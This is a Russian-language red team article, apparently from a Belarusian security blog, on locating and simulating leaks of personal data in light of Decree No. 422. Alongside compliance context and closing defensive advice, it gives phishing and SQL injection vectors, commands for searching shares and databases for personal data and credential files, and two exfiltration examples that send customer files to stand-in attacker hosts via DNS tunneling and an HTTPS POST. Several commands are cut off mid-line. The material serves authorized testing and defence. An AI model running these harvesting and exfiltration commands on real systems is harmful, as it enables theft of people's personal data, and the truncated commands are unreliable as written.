

Red Team операции: Поиск и эксфильтрация персональных данных в контексте Указа № 422

 redsec.by/article/red-team-operacii-poisk-i-eksfiltraciya-personalnyh-dannyh-v-kontekste-ukaza-422

Red Teams | 4 ноября 2025



Указ Президента Республики Беларусь № 422 от 28 октября 2021 года «О мерах по совершенствованию защиты персональных данных» устанавливает обязательные требования к безопасности и контролю обработки персональных данных всеми организациями, работающими с такой информацией. Для пентестеров и Red Team операторов этот нормативный акт определяет критические точки, подлежащие проверке при оценке защиты ПДн. Материал ниже описывает методологию целенаправленного поиска и

симуляции утечек персональных данных, используемую при Red Team операциях в целях их обнаружения.

Законодательная база и требования к защите

Указ № 422 требует, чтобы операторы персональных данных (организации, обрабатывающие ПДн) выполняли ряд обязательных мер. В частности, они должны устанавливать и поддерживать в актуальном состоянии перечень информационных ресурсов, содержащих персональные данные, включая категории данных (общедоступные, специальные, биометрические), сроки хранения и уполномоченные лица для обработки. Национальный центр защиты персональных данных проводит плановые проверки операторов не реже одного раза в два года, оценивая достаточность принятых ими мер по обеспечению защиты.

Для Red Team операции это означает необходимость выявления несоответствий между декларируемой защитой и фактическим состоянием: неучтённые хранилища ПДн, отсутствие контроля доступа, избыточные права пользователей, отсутствие шифрования и прочие уязвимости.

Фаза 1: Разведка и картирование инфраструктуры

Первый этап Red Team операции начинается с пассивной разведки и включает сбор информации о целевой организации, используя открытые источники (OSINT).

Активности на этапе разведки:

- **Исследование открытых источников:** социальные сети сотрудников (LinkedIn, телеграм-каналы), корпоративный веб-сайт, публичные репозитории (GitHub, GitLab), где могут находиться конфигурационные файлы с учётными данными или адресами внутренних систем.
- **Картирование инфраструктуры:** определение адресных диапазонов, доменных имён, публичных сервисов (почта, VPN, облачные хранилища), используя инструменты вроде Nmap для сканирования открытых портов и сервисов.
- **Поиск облачного присутствия:** выявление незащищённых S3-бакетов AWS, misconfigured Azure Storage, публичных облачных хранилищ, где организация может хранить резервные копии, архивы или тестовые данные.
- **Анализ открытых конфигураций:** поиск информации об используемой компанией технологии (CRM, 1С, веб-приложения), версий ПО, которые могут содержать известные уязвимости.

Практический пример: При разведке финтех-компании Red Team обнаружил на GitHub репозиторий разработчика, содержащий SQL-скрипты инициализации баз данных с примерами данных клиентов (ФИО, номера счётов, контактная информация).

Фаза 2: Получение первоначального доступа

После картирования инфраструктуры Red Team переходит к получению первоначального доступа. Основные векторы:

Социальная инженерия и фишинг

Пентестер создаёт целевые фишинговые письма, адресованные сотрудникам с доступом к ПДн (HR, финансовый отдел, администраторы). Письма могут содержать:

- Поддельные ссылки для сброса пароля
- Вложения с макросами (Word, Excel)
- Прямые просьбы о вводе учётных данных под предлогом обновления политики безопасности

Эксплуатация веб-приложений

- SQL Injection для прямого доступа к базам данных, содержащим ПДн
- Аутентификация без MFA на внутренних приложениях
- Раскрытие ошибок приложений, содержащих информацию о структуре БД
- Использование недокументированных API-точек для доступа к данным

Физический доступ

- Перехват неопубликованных документов или паролей
- Социальная инженерия для получения доступа в серверную
- Установка USB-устройств в сетевых точках

Фаза 3: Поиск хранилищ персональных данных

После получения доступа на рабочей станции или сервере Red Team целенаправленно ищет хранилища ПДн.

Поиск в локальной файловой системе

Использование PowerShell и встроенных команд Windows:

```
# Поиск Excel и CSV файлов на сетевых дисках
Get-ChildItem -Path "\\fileserver\shared_folders" -Recurse -Include *.xlsx, *.csv, *
    $_.LastWriteTime -gt (Get-Date).AddDays(-30)
}
```

```
# Поиск строк с паттернами ПДн (номера, даты, email)
Select-String -Path "\\fileserver\shared_folders\*" -Pattern "\d{3}-\d{2}-\d{4}|\d{1}
```

Linux/Unix системы:

```
# Поиск номеров телефонов и паттернов ПДн
find /home /var /tmp -type f -exec grep -l "\+375\|37(0|29)\|380\d{9}" {} \;
```

```
# Поиск файлов с чувствительными словами в названии
find . -iname "*password*" -o -iname "*credentials*" -o -iname "*client*" -o -iname

# Поиск в архивах и резервных копиях
find . -name "*.tar.gz" -o -name "*.zip" -o -name "*.rar" | xargs -I {} sh -c 'tar -
```

Поиск данных на сетевых дисках

Перечисление и доступ к SMB-шарам:

```
# Перечисление доступных общих папок
net view \\fileserver
net share
```

```
# Подключение к сетевому диску для дальнейшего доступа
net use Z: \\fileserver\shared_folder password /user:domain\username
```

Инструмент CrackMapExec позволяет масштабировать эту операцию на множество систем:

```
crackmapexec smb 192.168.1.0/24 -u domain_user -p password --shares
```

Использование BloodHound для разведки Active Directory:

```
# Сбор данных для BloodHound
SharpHound.exe -c All -d domain.local
```

Поиск в базах данных

MSSQL Server:

```
-- Поиск таблиц, содержащих типичные для ПДн колонки
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dbo'
```

```
-- Выборка данных клиентов
SELECT TOP 100 * FROM dbo.Customers
```

Oracle Database:

```
SELECT table_name FROM user_tables;
SELECT * FROM dba_tables WHERE table_name LIKE '%CUSTOMER%' OR table_name LIKE '%PEF
```

Фаза 4: Этап сбора и подготовки к эксфильтрации

После локализации ПДн пентестер подготавливает данные к эксфильтрации.

Методы сокрытия активности

Использование "Living Off The Land" техник:

- **Windows:** certutil, bitsadmin, wmic, powershell
- **Linux:** wget, curl, tar, dd

Сжатие и шифрование данных:

```
# Сжатие данных
Compress-Archive -Path "\\fileserver\Customers\*.xlsx" -DestinationPath customers.zi
```

Фаза 5: Симуляция эксфильтрации

Red Team симулирует утечку данных, используя различные каналы выхода.

Сетевые каналы эксфильтрации

DNS Tunneling:

```
# На заражённой системе
nslookup $(cat customers.csv | base64 -w 16 | head -n 1).exfil.attacker.com
```

HTTPS и HTTP:

```
# PowerShell для загрузки файла на внешний сервер
$file = "\\fileserver\Customers\clients.xlsx"
$bytes = [System.IO.File]::ReadAllBytes($file)
$base64 = [Convert]::ToBase64String($bytes)

$uri = "https://attacker-server.com/upload"
Invoke-RestMethod -Uri $uri -Method Post -Body @{data=$base64}
```

Фаза 6: Методология документирования и отчётности

Red Team фиксирует все обнаруженные хранилища ПДн, степень их защиты и возможные пути эксфильтрации, подготавливая отчёт для организации.

Структура отчёта должна включать:

- Обнаруженные хранилища ПДн: локализация, объём, категории данных.
- Уровень защиты: наличие шифрования, контроля доступа, логирования.
- Соответствие Указу № 422: выявленные несоответствия требованиям.
- Пути эксфильтрации: использованные или потенциальные каналы.
- Время обнаружения: как долго Red Team работал необнаруженным.

Пример из реальной Red Team операции в финтех-компании:

В ходе операции выявлено, что организация не имела актуального реестра операторов ПДн. На сетевом диске обнаружены более 50 Excel-файлов с информацией о клиентах (ФИО, контактные данные, данные счётов), разбросанные по различным папкам без единой структуры. Резервные копии БД находились в

открытом доступе на серверу резервного копирования. Данные были успешно скопированы на USB-накопитель за 40 минут без срабатывания систем мониторинга.

Практические рекомендации по защите

- **Инвентаризация ПДн:** создать и поддерживать актуальный реестр всех хранилищ персональных данных.
- **Принцип наименьшей привилегии:** ограничить доступ пользователей только необходимыми им данными.
- **Шифрование:** применить кодирование для ПДн как в покое, так и в транзите.
- **Мониторинг и аудит:** внедрить SIEM для отслеживания доступа к ПДн и попыток их копирования.
- **Обучение сотрудников:** проводить регулярные тренинги по социальной инженерии.
- **Регулярные тестирования:** проводить Red Team операции и пентесты для выявления уязвимостей.

Указ № 422 устанавливает обязательные требования к защите персональных данных, но практика Red Team операций показывает, что многие организации не выполняют эти требования в полной мере. Целенаправленный поиск, локализация и симуляция эксфильтрации ПДн остаются одними из наиболее эффективных методов для выявления слабых мест в системе безопасности.